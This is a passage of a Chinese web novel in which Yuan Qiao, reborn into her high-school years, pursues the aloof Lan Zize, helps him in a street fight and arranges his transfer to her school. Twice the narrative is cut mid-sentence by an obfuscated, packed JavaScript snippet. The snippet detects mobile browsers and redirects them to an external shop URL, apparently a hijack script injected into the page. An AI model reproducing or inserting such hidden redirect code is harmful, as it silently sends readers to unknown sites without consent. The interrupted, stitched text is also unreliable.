考试最怕的就是似曾相识。 考的是什么,哪个知识点她还是有一些印象的,可具体的解题思路和公式定理什么的,就有些抓瞎了。 应付完一场考试,元乔觉得自己已经是筋疲力尽了。 物理和化学的小测简直让她有些痛不欲生。 等到和元松同志参观新学校的时候,心情一般的元乔对着超一流的硬件,鸡蛋里挑了一堆的骨头,满头满脸都彰显着不满意。 “怎么了这是?” “小测成绩不好。”元乔低头耷脸地应着。 “没事儿,小测而已。新学校不满意?” “爸,”元乔看着元松,“我不想转学。” “能和我说说为什么吗?” “我不想那么早出国,你是不是打算让我明年就出国念高中的?你是不是不打算要我了?”元乔掐了自己一把,挤出了些许眼泪。 “哎,你这孩子,胡说些什么呢?”元松手忙脚乱地给人递纸巾,“我就你这一个女儿,怎么会不要你?当初不是你嚷嚷着不想上晚自习,要转学的?” “可是我一想到要离开家,见不到你们,吃不到林姨做的饭,”元乔小声地嘟囔了一句,“我就后悔了。” “那就不转。”元松当机立断,“你不想上晚自习,咱就不去,爸给你请假。” 元乔的心里咯噔了一下又一下。 她没长歪,多亏了九年义务教育的扎实,熏陶着她要好好学习,天天向上。 不然按照元松这么个养法,她大概率是个手心朝上,混吃等死的主儿。 “那同学们都去,我一个人搞特殊多不好,”元乔趁机说,“以后放学别让林姨接我了,我和同学们一起回,有助于巩固我和同学们的友谊。” “江家丫头和你不顺路吧?” “不是江子宁,其他的同学们。”元乔晃了晃元松的手臂,“我都这么大人了,还让林姨接来送去的,在同学们面前很没有面子的。人家很早都自己上下学了。” “行。” 终于能自己上下学的元乔,每天都会提前到学校,在她遇见兰梓泽的附近打转儿。 可是自打上一次遇见之后,她再也没见过兰梓泽。 皇天不负有心人。 今天被她等到了,兰梓泽的朋友。 不同于上次的红毛,沈默今天顶的是一头白毛。 饶是元乔知道这人一贯都离经叛道,可她还是没太能欣赏这人的时尚。 “找兰哥?” “嗯,”元乔问,“他去哪儿了?” “他有事儿,”沈默看着眼前的人,一中的乖学生,听说还是年级前五,这和兰梓泽也不匹配啊,“有事儿我替你转达。” “不用了,”元乔对人笑了笑,“谢谢你。” “你说还是我问?”等着她的江子宁开口。 “坦白从宽。”元乔冲她笑了笑,“如果我说,我做了一个梦,梦到我会和他白头偕老,你信吗?” “梦不都是反的吗?” “好吧,因为他长得帅。” “花痴和肤浅能相提并论?” 都说成语了? 凭元乔对江子宁的理解,她肯定觉得是在敷衍她了。 这种态度对友情可不是个好兆头。 元乔决定全盘托出。 “其实,我是又活了一次,上一辈子我和他在一起之后,我先离开了,我是回来弥补遗憾的。” “元乔。” 完了完了,都开始叫大名了。 果真,科学都无法解释的东西,的确没什么说服力。 “你是不是预知到了我会反对,所以,你才不对我说实话的?” “啊?” “这几天我打听过兰梓泽了。” 按照上一辈子的路子,江子宁她们两个是前后脚转学走的,在这个学校呆了一个多月而已,没听说过她还认识兰梓泽啊。 “您那一出轰动效应到现在还在持续,”江子宁对着镜子整理着刘海,“你可真行,光天化日之下,就对人动手动脚的。” “我就给了个零食,说得我好像调戏他似的。” “我就问你一个事儿,你真的要追他?” 为了表示坚定,元乔重重地点了点头。 “那你知不知道,他在十九中也是属于最不学无术的那一群?” “你一个常年名列前茅的人,为什么要去和一个十九中的同学掺和在一起?” 江子宁整天都是开口带笑,元乔印象中她上一次出现这么严肃的表情,还是小学的时候,有男同学揪元乔头发,她去和人干仗的时候就是这样的神色。 “当然,我自己也不是什么学习好的人,我也不觉得学习成绩就能代表一个人的一切,但是,乔乔,成绩它是一种佐证,你和他根本就不是一路人。” 江子宁继续说,“你不是一直都以成为一个优秀的医生为目标吗?你还按照你之前的计划按部就班地走,不要被那些一肚子花花肠子的男的迷了眼。” “那我也能两手抓啊。” “你以为抓娃娃呢?你直接连脚也算上得了。” “也不是不行,”元乔挽上江子宁的胳膊,可这会儿她不受待见,江子宁挣了出去。 元乔又笑嘻嘻地贴了上去,这次直接紧紧抓住,不给人挣脱的机会。 “有句老话说得好,堵不如疏,我撞了南墙就回头了,”元乔抱着人不松手,“我保证不会乱来的。” “你非得头破血流是吧?”江子宁知道她心里有数,而且这种时候她越反对可能还会适得其反,“老话还说不听老人言,吃亏在眼前。” “你可不老。” 江子宁懒得跟她掰扯,,“一码归一码,此时此刻我最起码是不支持你谈恋爱的,我不会帮你追人的。不过,”她话音一转,“我的怀抱随时欢迎你哭泣。” “真是谢谢你。” “不客气~” 4. 第 4 章 准备了一肚子追求计划的元乔根本就没有任何的用武之地。 兰梓泽凭空消失了。 守株待兔是行不通的,元乔决定主动出击。 她混进了十九中的群里,买来了校服。 趁着饭点儿,买了两个灌饼,就这样堂而皇之地啃着进十九中了。 不放心她的江子宁跟在她身后,憋气等着抽烟的一群人过去,“元乔,你是不是鬼迷心窍了?” “哎呀,”元乔分了一些精力给她,“稍安勿躁稍安勿躁。” 俩人对十九中也不熟,围着校园逛了一圈儿,连兰梓泽的影子都没看着。 元乔也不气馁,拉着人回去上晚自习了。 一回生二回熟。 元乔进十九中就像回自己的学校一样。 在又一次没见到人,落空之后。 元乔觉得自己需要借助一下别人的力量。 她挑了一个满耳朵都是洞的女生,“同学,你知道兰梓泽在哪吗?” “你谁啊?你不是我们学校的吧?”左溪有些狐疑地看着她,这么漂亮的人如果是她们学校的,她怎么一点儿都不知道? 但是,兰梓泽的花名在外,不少其他学校的人混进来找他也不是什么新鲜事儿。 女生不耐烦地问,“你找兰哥干什么?” “哦,我是他喜欢的女生。”元乔用了个将来时,“你今天见到他了吗?” 左溪被大言不惭的元乔唬住,毕竟有人来找兰梓泽不是什么新鲜事儿,她们都见怪不怪了。 可这还是头一遭见人带着这样的借口来找人。 认真将元乔从头到尾又打量了一番,左溪问,“你是兰哥喜欢的人?” “嗯。”元乔回答得很笃定。 “行,我帮你问问。” 反正闲着也是闲着,有热闹不看白不看。 左溪给沈默打了一个电话,问了人在哪。 “走,我带你过去。” 十九中的校规跟校纪最大的效力存在于纸面上。 学生和老师心照不宣地维持着该有的平衡。 一路上,元乔甚至还看到了旁如无人亲吻的学生。 孤陋寡闻的元乔盯着人家两个人看。 结果就是得了个神经病的称号。 “你们学校不这样吧?” “大家都差不多,都有早恋的,”元乔说,“不过他们看起来更大胆一些。” “你是对面一中的?”左溪看着元乔的样子,提示,“我只是看见你里面的校服短袖了。” 元乔把校服外套的拉链拉到顶,她偷摸着来找人毕竟不是长久之计,她可不打算闻名于一中。 “你这好学生,怎么会认识兰哥?” “我单方面暗恋他来着,”元乔张口就来,“这不是一直见不到人,就想着来碰碰运气。得亏遇到你这么一个人美心善的好人,要不然,我又跑空了。” “那不,他就在那儿。” 一群人在操场的角落里肆无忌惮地抽烟。 “学霸是认真的?”沈默已经从左溪那里得到了消息,“你俩怎么认识的?” “不认识。” “不认识,人姑娘说你喜欢人家?”沈默问,“我看人姑娘挺好的,不像一中其他的人一样,鼻孔恨不得朝天,每次和我说话都是客客气气的。” “可她毕竟还是一中的,”沈默说,“那些学习好的都是老师和家长心头的宝,万一被发现了,你肯定吃挂落。” “你好好和人家说。”沈默和元乔打了个招呼,去找左溪了。 这是元乔第一次见他抽烟,元乔不喜欢烟味,兰梓泽从来不会当着她的面抽烟。 “兰梓泽。”元乔叫了人一声,“我们谈恋爱吧。” “你们好学生连消遣都这么与众不同?”兰梓泽走近了一些。 虽说还没完全长成,可是他也超过了一米八,元乔仰头去看人。 “我没空陪你玩儿过家家,”兰梓泽将烟头踩灭,“别再来找我。” 印象中的兰梓泽也不爱笑,可他的眼神不会像现在这么冷。 就像是在看一个陌生人。 也从来没有这么不耐烦过。 元乔第一次感受到了,她回来了,可是,他没有。 他不会轻声细语地同她讲话。 对她也没有耐心。 其实,元乔不知道的是,相较于之前更直接难听的拒绝,兰梓泽这次算得上是好声好气,好词好句了。 他看着面前的女孩子,慢慢地红了眼眶。 真是麻烦。 下一秒,他就感到手腕被人咬了一口。 十九中里鱼龙混杂,兰梓泽偶尔也会动动拳头。 少年人打架,没个轻重。 但兰梓泽是真的练过的把式,只有他收拾别人,别人挨打的份儿。 自认皮糙肉厚的兰梓泽看着手腕上新鲜的牙印,被气笑了。 他也是很久没有受过这样的伤了。 这算什么? 偷袭? 阴沟里翻船? 元乔也觉得自己有些幼稚,可她面上不显,攒着气势瞪了回去,“谈个恋爱而已,又不是要吃了你,我都不怕吃亏,你扭扭捏捏地干什么?” 完全不给兰梓泽插话的机会,元乔一鼓作气地说完,“我是鬼吗?有什么好怕的?我还非追你不可了,以后我有空就来找你,等着吧你。” 放完话的元乔图省事儿,打算翻墙走,她使唤一动不动的兰梓泽,“站着干嘛?过来帮忙啊。” 老老实实当了一次肉垫的兰梓泽拍了拍手上的灰。 手机铃声打断他的思绪。 是他姑姑。 他爷爷只有一儿一女,他爸爸去世之后,家里的生意就由他姑姑和姑父接了手。 兰梓泽的长相随了他妈,脾气又随了他爸,完全不如姑姑和姑姑的孩子会讨他爷爷的欢心。 不懂得讨好,也不愿意看脸色。 在家里,他才像是那个外姓人。 兰梓泽他爷爷铁了心要教训这个不听话的孙子。 直接将人送到了十九中。 索性他就一个人搬出来住了,整天和沈默一起跟一群人混在一起。 叛逆期的少年,连路边摆放不整齐的垃圾桶都觉得碍眼。 整天板着一张脸,看谁都不顺眼。 却总是会记得,时不时地找个小茬儿。 原则性的错误一点儿都不犯,三天两头地犯点儿小错。 反正但凡要请家长,他姑姑的秘书都会从上到下打点好。 渐渐地,连请家长找个步骤也省略了。 兰梓泽在十九中过得如鱼得水。 他装纨绔,扮不上进,将浑浑噩噩贯彻到底。 直到明里暗里监视他的人都撤走了,他的画皮倒是和他本人融在了一起。 他等着电话铃声响完。 注意到了地上的掉的东西,看着手中捡起来的链子,兰梓泽自言自语,“喜欢?” “知道我是什么人吗就喜欢。” 元乔说完那一番话就消失不见了。 因为她的小测成绩下来了,她的分数虽不至于惨不忍睹,但是和之前相比,也是断崖式地下跌。 她知道是什么原因,倒是还能接受。 而且,对于学习,元松也并没有对她有什么要求。 可是江子宁却有些如临大敌。 觉得自家姐妹这是初出茅庐,没见过什么帅哥,所以才会被兰梓泽吸引,让人迷途知返,她责无旁贷。 除了每天监督元乔上课,严防死守着,不让她去找兰梓泽之外。 一有空,江子宁就把收集到的帅哥全方位向元乔展示,试图将她脑中兰梓泽的形象驱除殆尽。 哭笑不得的元乔也不愿浪费了江子宁的心意。 而且,不知为何,她和邢臻在校园里相遇的概率大大增加。 这人偶尔还会和她打招呼。 这可比江子宁的耳提面命管用太多。 为了避免见到不想见的人,元乔非必要不出班,全身心地投入到了题海中。 元乔的脑子是发育成熟了的成人脑,加上工作之后练成的专注。 对付高中知识还是可以的。 好在一中的小测非常频繁。 半个月之后,成绩稳步提升的元乔终于得到了江子宁的赦令。 周五放学,终于没了晚自习。 她兴冲冲地跑出校门,打算去十九中碰碰运气,看能不能遇到兰梓泽。 “她真的在追十九中的人?”邢臻皱着眉看着元乔的背影。 “十九中周五根本不可能留到正常放学的时间,人早就跑完了。”因着元乔的关系,江子宁对十九中的各种情况了如指掌。 她若有所思地看向邢臻,“你对乔乔是不是关心得有些过头了?” “你这是什么眼神儿?”邢臻不悦,“怎么我连十九中的那一群人都比不上?” “人家只是成绩不好,再说了,矮子里也有高个儿,没有什么可比性。”江子宁看着邢臻,“我还是劝你对乔乔的那些心思收一收。” “就这么看不上我?” “作为你的同学,我觉得你非常的优秀,”江子宁说,“但是,成为我闺蜜的男朋友,你肯定是不行的,你没见过她哥,你还是有差距的。” 这也是江子宁没太拦着元乔的原因,她有那么优秀的爸爸和哥哥,她择偶的眼光肯定不会差。 兰梓泽在江子宁看来,也不过时元乔在青春期荷尔蒙的作祟之下冲动的结果,等她自己想明白了就好。 一中的不远处,有一条小巷子,昏黄的路灯下聚了一群人。 一堆无心向学的人,脑子里的东西还没胃里更新得快。 整天除了无所事事的游手好闲,便是惹是生非。 偶尔有几个路过的一中学生,也是目不斜视,大步走过。 他们还有许多卷子要写,暂时没空去伸张正义。 元乔也无意掺和进去他们的恩怨情仇。 只是扫了一眼,元乔便停下了脚步。 沈默那头蓝发实在是惹眼。 虽然两个人看起来经验很丰富,但耐不住对面的人多。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408934|200641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 渐渐便落在了下风。 “以多欺少不太光彩吧?” 元乔叼着一根儿冰棒,靠在墙上。 看起来是小头目的人看着元乔手中响着警报器的手机,问,“你谁啊?” “我啊,”元乔指了指自己,笑着抬了抬下巴,“找他们的。” “我不认识她。”兰梓泽看也没看元乔。 “兰梓泽,你怎么回事儿,敢做不敢当?”元乔扒过人群,要和兰梓泽理论,“咱们今天就说清楚。” 沈默收到元乔的眼神儿,可他与她实在是没有任何的默契,沈默知道元乔要告诉自己些什么,但说的究竟是什么,沈默看不懂。 沟通失败的元乔拉着兰梓泽的手不松,仿佛是怕他跑了一样。 果真,这人体温高得烫人。 莫名其妙被瞪了一眼的沈默更加摸不着头脑了。 “说吧,你们想怎样?”元乔看着对面站在中间一肚子肉的人。 “他们两个跪下,叫三声爸爸,承诺以后不去骚扰小美,这事儿就算过了。” “小美是谁?”元乔看着沈默,“你相好?” 凭白分了个女朋友的沈默摸不住元乔走的是什么路子,但还是很配合地回答,“不认识。” “放你m的屁,都有人看见小美给你们递水了。” “你这个人怎么听不懂人话呢?”元乔往前走了两步,“我朋友都说了不认识不认识。” 她出手太快,横肉自己都没反应过来,就跪在了元乔的面前。 转着刚才还在人手中的刀,元乔用纸巾包着刀把,在人的头上来回比划着,横肉大气都不敢喘。 头发掉在脸上也不敢动。 “以后再让我看见你找他们麻烦,就不是掉头发这么简单了。” 按掉提前定好的警报器的闹铃,元乔拍了拍手,“在这儿等着,我们走了再动。” 沈默扶着兰梓泽跟着元乔出了巷子,没走几步就看到元乔换了一幅表情,冲路口下来的警察招手,“叔叔,巷子里有人持械斗殴。” 等到上了出租车,沈默才反应过来,“练过?” “我哥是警察,教过我几招。”元乔指了指不吭声的兰梓泽,“你们怎么回事儿?” “那狗东西趁兰哥落单搞偷袭。” “他怎么会烧得这么厉害?” “昨天去郊外淋了雨。”沈默语焉不详地说了个大概,元乔却反应了过来,昨天应该是他爸妈的忌日。 “不去医院,送我回去。” “闭嘴。”元乔从见到他那一刻积着的怨气都凝在这两个字上。 对着沈默元乔的态度又好了很多,“经常有人找你们麻烦?” “不算多。”沈默看着一言不发的兰梓泽,又看了看元乔。 之前他只觉得元乔是一个好学生,兰梓泽看起来也没有什么表示。 可是今天一看,元乔竟然深藏不露。 反正沈默没见过兰梓泽听过谁的话。 “少管闲事。” 元乔直接上手捂住了他的嘴,从源头静音。 挂上了水,在药物的作用下,兰梓泽昏昏睡了过去。 元乔给家里打了电话,说今晚在江子宁家,又同江子宁通了气,让她帮忙打个掩护。 拿了东西上楼的元乔看着沈默,“我们聊聊?” 她静静地等着沈默看完。 上一辈子元乔认识沈默的时候,他已经被沈家认了回去。 “替我认祖归宗?”沈默合上资料,“你的条件是什么?” “沈家认了你,肯定不会让你继续呆在十九中,我希望你转学的时候把兰梓泽也带走。” “虽然我不知道你为什么对兰哥这么上心,”沈默往后靠了靠,“可是,既然你能查到我的身世,不会不知道兰哥家里是什么情况,你兜这么大的圈子,究竟是为了什么?” “他们家的情况错综复杂,如果真的在乎他,就不会让他在十九中自生自灭了,找他麻烦的人里究竟有多少是他姑姑的手笔,想必你比我更清楚。”元乔也不卖关子,“我不想让他陷在这堆烂事儿里。你是我能想到最合适的路子。” “究竟是什么情况?你今天怎么跑医院去了?”江子宁贴着面膜跟在元乔后面问个不停,“你不会是哪里受伤了吧?严不严重?” “他不太舒服,我送他去了医院。”元乔熟门熟路地走向厨房,给自己倒了一杯水,“和你说个事儿。” “怎么了?” “我要和兰梓泽成为同学了。” “你说什么?”江子宁也不顾面膜纸会不会皱了,声音都高了起来,“你要干什么?” 她摸出手机,“你要是敢说为了他转去十九中,我现在就给元叔打电话,你信不信?” 如果她真的因为一个男的转去了十九中,都不需要她爸出手,元启都会把她腿打断,让她绝了念想。 “哎,你这个人,”元乔慢条斯理地按下她的手,“谁说我要转去十九中了?” 一时还没转明白的江子宁就看到元乔对自己眨了眨眼,“他转来一中,我们也是同学啊。” 5. 第 5 章 “不,不是,究竟是什么情况?”江子宁跟上元乔,“是我听错了?他一个十九中的怎么能随便进我们学校呢?他学习也很一般啊。” 自打知道了兰梓泽之后,江子宁对人进行了很全面的了解,她对兰梓泽的情况大部分来自十九中内部,所以,对于,兰梓泽的家庭情况她并不是很清楚。 她自然而然地想到了一种可能,“你为他花钱转学校?” “疯了我吗?”元乔看着江子宁,“那么大笔的支出我爸肯定会发现的。” 她找人调查沈默花的钱都是她从元启那里要来的,还垫了一部分进去,她倒是愿意为兰梓泽花,可是兰梓泽那样儿肯定不会乐意。 要是让她哥知道,她更是吃不了兜着走。 元乔无意在这个时候给自己找麻烦。 “那是怎么回事儿?” “沈默你知道吧?” “彩虹头?” “对,就是他。”元乔拿上睡衣,“他家里好像要给他转学,兰梓泽应该会跟他一起来我们学校。” “为什么他要转学?他转学又为什么会带上他?” “这我就不太清楚了。”元乔准备去洗漱,“只是今天听沈默提了一句。” “好奇怪。”江子宁觉得哪里好像不太对,但是又不知道问题在哪儿。 周一去学校的江子宁还特意留意了一下是否有新的转学生,一天两天一周过去了,也没见个人影儿,十九中的论坛里面也没有任何的风声。 江子宁先坐不住了,“他们还来不来啊?” “不知道啊。”元乔拿出来化学卷子。 “你最近怎么不去找他了?” “因为我有他的联系方式了,我可以直接发消息啊。”元乔灿烂一笑,“科技改变生活。” 就在江子宁以为他们转学这事儿成不了的时候,俩人竟然来了。 “你早就知道他们会来的吧?” “我能未卜先知?”元乔拉着人往二十班跑,“走,带你看帅哥。” 二十班从十九中来了两个转学生的事情随着两个人进校,已经传遍了整个高二。 沈默和兰梓泽又顶着那样的脸,在一中本来也是有知名度的,学霸们也爱八卦,来看人的一波儿又一波儿。 沈默倒是不在意别人的目光,很快就和班里的人勾肩搭背,称兄道弟了。 兰梓泽嫌烦,依旧我行我素地趴在桌子上睡觉。 可总会有人见缝插针地找他讲话。 问问题,兰梓泽一律说不会。 递情书的,他说自己不认字儿,不收。 送零食的,他会一本正经地问,你妈没有告诉你,陌生人的东西不能收? “老天!”目睹又一个漂亮姑娘闹了一个大红脸,江子宁说,“他嘴巴这么毒?” 说他没礼貌,他句句有回应。 可若说他有回应,这态度也够让人望而却步了。 “兰梓泽!”元乔直接将人叫了出来。 一班和二十班是整个高二教学楼的对角线,元乔不太认识这一层的同学们,但是不代表他们不知道元乔。 她怎么看起来和转学生很熟悉? 虽然还是臭着一张脸,但是兰梓泽态度总归没那么恶劣,“怎么了?” “我在超市新发现了一瓶酸奶,特别好吃,给你带了一瓶。” 兰梓泽是听沈默说过来龙去脉的,他不懂眼前这个女生为什么会对他如此青睐。 他皮囊尚可,自然是知道的。 但是,元乔看起来根本就不像是那种会因为一张脸而冲动的人。 兰梓泽活到现在,从来都没有被命运真正眷顾,他绝不相信,天上掉馅饼会到他嘴里。 他向来都是没有运气的人。 “我不爱吃。” “不好意思不好意思,”在跟朋友打闹的男生连连道歉。 这一下被撞得有点儿疼,元乔生理性的眼泪都出来了。 但毕竟是意外,她摆了摆手,“没事儿。” “没吃过怎么知道?”元乔不在意这个小插曲,直接将酸奶塞到人的校服口袋里,隔着衣服拍了拍瓶子,“记得吃啊。” 说完,她转身就走。 “你手没事儿吧?” “没事儿。” “跑了三层楼,就为了送一瓶酸奶?” “呃,”元乔一蹦一跳地往下走,“不然呢?他那个程度,我不会的题他也不见得行吧。” 元乔有理有据,“我俩又不能讨论学习,那可不就只剩下吃喝了吗?” 江子宁看着坐在那里写数学题的人,有些摸不透这个人在想什么了。 “下课了,你不去找他?” “我还有两题,”元乔头也不抬,“写完就没了。” “你追还是不追了?”江子宁等她写完作业,“我怎么看不懂你了。” “追啊,哪有半途而废的。”元乔检查自己还有什么作业没写,“我也不能一直贴着人家吧。再说了,我也有我自己的事情要干,我不是只有追他一件事儿啊。” 差点就相信了她的江子宁在中午被元乔拉着满食堂找兰梓泽的时候觉得自己被骗了。 “找你们老半天。”元乔坐在兰梓泽对面,还没等她找话题,就看到有人走过来。 “兰梓泽,这个请你吃。” “这个好吃。” “这个你应该会喜欢。” …… 元乔看着涵盖了不同品类的零食,看向了兰梓泽,正好同他的视线相遇。 “没错,你给她们做的示范。”兰梓泽肯定了她的想法。 “这算不算是搬起石头砸自己的脚啊?”元乔有些欲哭无泪,大家的模仿能力要不要这么厉害! “你是不是有些烦?” “是。” “我有一个办法。”元乔指了指那些零食,“让你可以不用受这些的打扰。” 兰梓泽看着她的笑容,直觉不会是什么好主意,果不其然。 “你答应做我男朋友,我心甘情愿帮你挡了这些,”元乔对人挑了挑眉,“怎么样?” “不怎么样。”兰梓泽否定得很快,“追你的人呢?那个唱歌的。” “这你都知道了?”元乔很意外,“看来你也很关注我嘛。” 实在忍不住的沈默笑出了声。 “那个,我吃好了,先走一步。” “我也吃好了。”江子宁觉得自己不适合继续呆在这里。 拉住要起身的人,元乔收起了嬉皮笑脸,“你怎么知道邢臻在追我?他去找你麻烦了?” “没有。” “真的?”元乔的视线落在那堆零食上,“如果因为我的原因,给你添了许多不必要的麻烦,我真的会很抱歉。如果你嫌烦,我很乐意代劳拒绝。” “这个和你没有多大的关系。”兰梓泽在十九中也精力过被追,他一直都是冷处理,等大家过了那个劲儿之后,自然就不会再有什么问题了,元乔不过是个引子而已。 “那邢臻呢?” “我不会放在心上。” 其实,邢臻在兰梓泽这里根本没有讨到任何的好处。 他气势汹汹地去质问兰梓泽,“你不会真的以为元乔会喜欢你吧?她只是图你一时新鲜罢了。” 被兰梓泽一句话堵了回去,“最起码我还能有些新鲜感,你是因为连个新鲜都混不上才气急败坏?” “他在学校比较受欢迎,我不太理他,他面子上过不去,才会说要追上我,我和他说过的话连十句都没有。” “我看起来像是那种会信他话的傻子?”兰梓泽看着元乔把姜粒一点儿一点儿地挑出来,“你确定要一直讨论他?” “不讨论不讨论了。” “你不吃?” “我吃饱了。” 元乔对食物的兴趣一般,之前的她在国外呆久了,胃口更是不怎么样。 以致于每次吃饭,她都是随便对付两口就饱了。 “那走吧。” “这堆吃的你不要了?” “不是我的。”兰梓泽拿起她的餐盘,“带什么?” “觉得我太无情?” “没有。”目睹了全程的元乔自然是看到了他根本就没来得及拒绝,“我只是觉得自己还蛮幸运的,你没拒绝我。” “月底那个周末我们约着去露营,你去不去?”元乔说,“都是我们年级的,周六在山上住一晚上,周日回来。” 元乔说,“提前一天给我答复就行。” 看到在等自己的江子宁,元乔对人摆了摆手,“我先走了,再见。” “今天吃饭的时候,你怎么先走了?”元乔问,“你不反对我追他了?” “反正目前也不支持。”江子宁说,“可是,你在他面前特别鲜活,很快乐,我觉得好像遇上能让人开心的人就挺不错了。” “那你怎么还持保留态度?” “我觉得他对你很一般啊。”江子宁说,“他看起来像是没有七情六欲的人,我都没见过他除了面无表情之外的第二种表情。” “他不会,”江子宁问,“是个面瘫吧?” “怎么会。”元乔被她逗笑,“他面部神经工作正常。” 现在的兰梓泽和元乔印象中的人的确是天差地别。 咬了他一次之后,元乔自己想开了。 即使性格完全不一样,可兰梓泽就是兰梓泽。 再来一次,元乔能参与到他的高中生活,遇到一个全新的兰梓泽,怎么看,都不亏。 所以,即使现在兰梓泽一点儿也不温柔,元乔也能欣然接受。 老宋从不拖堂,一下课就走。 元乔也从后门出去,上了三楼。 “这怎么送个零食还哭了?”元乔看着沈默,“这是什么新的流行?” “你上午不是被撞了一下,不知道哪个好事者宣扬了出去,而且是合二为一,添油加醋版,说你哭了,所以兰哥收下了,”沈默也觉得有些搞笑,“于是,就是你看到的样子了。” “她们怎么把他叫出来的?” “是被拦下的。”沈默颇显同情,“你敢信,兰哥两个下课没动,一出来,就被围上了。” “他受欢迎的程度,是不是有些夸张了?” “不知道是谁传了他的一张照片,所以,现在,不仅是我们年级的,还有师姐和师妹。” 别说兰梓泽,连元乔看着都有些头疼。 不是,那就是个巧合,至于哭吗她? 传流言的人肯定不认识她。 元乔看着被围住的兰梓泽。 元乔对这些同学并无恶意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408935|200641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟她们的眼光是一样的好。 甚至还隐隐生出一些惺惺相惜来,大家都不成功,尚需努力。 可是一码归一码。 她刚放好第一块儿砖,可有人要来撬墙角,那她不答应。 她这近水楼台的人都还没有碰到月亮呢,合着就开始给别人做嫁衣了? 那可不行。 元乔挤了进去,“同学们,我们聊一聊。” 元乔用的陈述句而非疑问句,对方显然也察觉到了她的来者不善。 “我们不是来找你的。” “我现在说得话就是他的意思。” 兰梓泽很配合地点了点头。 “他收下我的东西,不是因为我哭了,只是因为,那是我的东西,”元乔强调,“是我的。” 看了看站在这里的人,元乔重复,“换句话说,他只收我的东西,明白了吗?” “还不走?” “他这是发火?”江子宁没想到见到兰梓泽的第二种表情竟然会是这样的。 “可是,他为什么要等乔乔来了才发火?” “你们上午也是第三节下课来的吧?” 沈默看着恍然大悟的江子宁,“我可什么都没说。” “你跟他说让他好好学习,往楼下挪挪,省得乔乔整天要爬三层楼。”江子宁一看沈默的表情立马澄清,“这是我的话,我看乔乔啊,根本不会对他提任何的要求。” “行了,我走了,再见。”元乔见人群散去,同人挥了挥手。 “这是上来给你解决问题的?” 沈默看着元乔的背影,自问自答,“看起来是。” 林姨有事儿回了一趟老家。 元松也没在家。 到了周五,元乔打算在学校写完作业再走。 “你真的不去我们家?” “不去啦,你跟叔叔阿姨好好聊聊天。”元乔推着江子宁走,“高三的还会留在这里自习,我不会害怕的。” “那我走了?” “嗯嗯。” 等元乔把作业都写完,天都黑了。 动脑子令人饥饿。 元乔给兰梓泽发了一条消息,慢吞吞地收拾着东西,想着等会儿要去吃什么。 她要去关灯才发现,班里竟然还有人,“班长,你要走吗?” “你先走,等会儿我关灯。” “好的,周一见。” 元乔打算去不远处的夜市打包一碗粉儿,回家慢慢吃。 一中的校址已经有很多年了,附近的小道四通八达,元乔拐进小道里,打算抄个近路。 她停下来回复着兰梓泽的消息。 一抬头就看到了不知道什么时候出现了一个男的。 笑得分外猥琐。 元乔看着他掀开自己的衣服,意识到这个人要干嘛。 她还没来得及有动作,眼睛就被蒙上了。 “是我。” “兰梓泽?” “嗯。” “你别捂我眼睛,他是个暴露狂,快抓住他。”元乔说着就扒拉下来人的手,可是哪里还有那个人的身影。 “让他跑了?”元乔问,“你刚才看清他长相没有?” “以后你别一个人走这种地方。”兰梓泽看到她要去夜市的消息就知道她会走近路。 “群里的消息你又没看吧?这个人已经被挂在群里好多天了,只是一直没抓住他。” “差一点儿,”元乔分外惋惜,“差一点儿刚才就把他绳之于法了。” “不要想着靠你一个人抓到人。” 被拆穿了的元乔对着人笑了笑,“不会的,放心吧。” 她之前干的就是医生,这种程度的对她来讲,够不上冲击。 兰梓泽一听就知道她阳奉阴违。 周六傍晚,果真遇到了蹲点儿的元乔。 “你昨天答应我什么?” “我就知道你会来,”元乔拉着人一起躲起来,“昨天被你吓跑,他今天会来吗?” “走吧,肯定不会。” “再等会儿。”元乔将自己的耳机分了一个给兰梓泽,“八点我们走。” 被灌了一耳朵英文广播的兰梓泽摘下了耳机,“你整天都在听英语?” “啊?”元乔愣了一下,工作之后也需要看文献,每天听点儿英语的,她都习惯了,“嗯。” “我刚从网吧出来。” “打游戏去了吗?”元乔眼睛盯着,分神儿回答。 “嗯,之前的同学在叫,玩了一天。” “之前的朋友的确也需要联系。”元乔看着他,“怎么了?” “我发现你好像,总是会自动将我的所有行为合理化。”兰梓泽问出了自己一直疑惑的问题,“你究竟看上我什么了?” “我不太接受一见钟情之类归因于色相的理由,”兰梓泽说,“我也不相信世界上会有无缘无故的喜欢。” “虽然你不太能接受,可是我的确是因为你的外貌而发起追求的,”元乔说,“心动就是一瞬间的事情。我们现在相处不多,所以我只能给你一个看起来很表面的理由。” “行为背后肯定有原因,”元乔说,“那你呢,那你问我的原因又是什么?是你发现自己也对我有点动心了,所以来我这里寻找一个确定的答案吗?”